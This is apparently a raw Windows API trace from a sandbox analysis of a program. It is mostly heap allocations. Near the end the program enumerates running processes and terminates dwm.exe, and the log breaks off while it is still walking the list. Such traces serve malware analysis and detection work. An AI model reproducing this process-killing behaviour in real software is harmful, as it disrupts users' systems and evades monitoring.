[0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c14b0 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8aa8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c14d8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ab8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1500 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ac8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26) returned 0x2c8288 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ad8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4c10 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ae8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2c82b8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8af8 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c1528 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b08 [0126.940] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4bd8 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b18 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2c4ba0 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b28 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2c62e0 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b38 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1550 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b48 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1578 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b58 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bf070 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b68 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf090 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b78 [0126.941] GetProcessHeap () returned 0x2a0000 [0126.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c15a0 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b88 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd48 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8b98 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c15c8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ba8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf0b0 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8bb8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c15f0 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8bc8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2c4b68 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8bd8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2c6320 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8be8 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1618 [0126.942] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8bf8 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1640 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c08 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bf0d0 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c18 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1668 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c28 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22) returned 0x2c82e8 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c38 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd60 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c48 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf0f0 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c58 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1690 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c68 [0126.943] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf110 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8c78 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c16b8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ca8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdda8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8cb8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf130 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8cc8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8cd8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c16e0 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ce8 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1708 [0126.944] GetProcessHeap () returned 0x2a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8cf8 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8318 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d08 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf150 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d18 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c1730 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d28 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2bf170 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d38 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2c6360 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d48 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c90a8 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d58 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c90d0 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d68 [0126.945] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c90f8 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d78 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c9120 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d88 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9148 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8d98 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf190 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8da8 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9170 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8db8 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c9198 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8dc8 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c91c0 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8dd8 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0126.946] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8de8 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c91e8 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8df8 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9210 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e08 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf1b0 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e18 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9238 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e28 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bf1d0 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e38 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2c9260 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e48 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8348 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e58 [0126.947] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2bf1f0 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e68 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9288 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e78 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bf210 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e88 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf230 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8e98 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c92b0 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ea8 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf250 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8eb8 [0126.948] GetProcessHeap () returned 0x2a0000 [0126.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c92d8 [0126.949] GetProcessHeap () returned 0x2a0000 [0126.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2c8ec8 [0126.949] GetProcessHeap () returned 0x2a0000 [0126.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c9300 [0126.949] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x120 [0126.956] Process32FirstW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.957] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.957] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.958] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.959] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.959] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.960] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.961] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.961] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.962] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0126.962] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.963] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.964] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.967] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.968] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.969] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.969] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.970] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.971] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.971] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x444) returned 0xc4 [0126.971] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0126.976] CloseHandle (hObject=0xc4) returned 1 [0126.976] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.976] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.977] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.978] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0126.978] 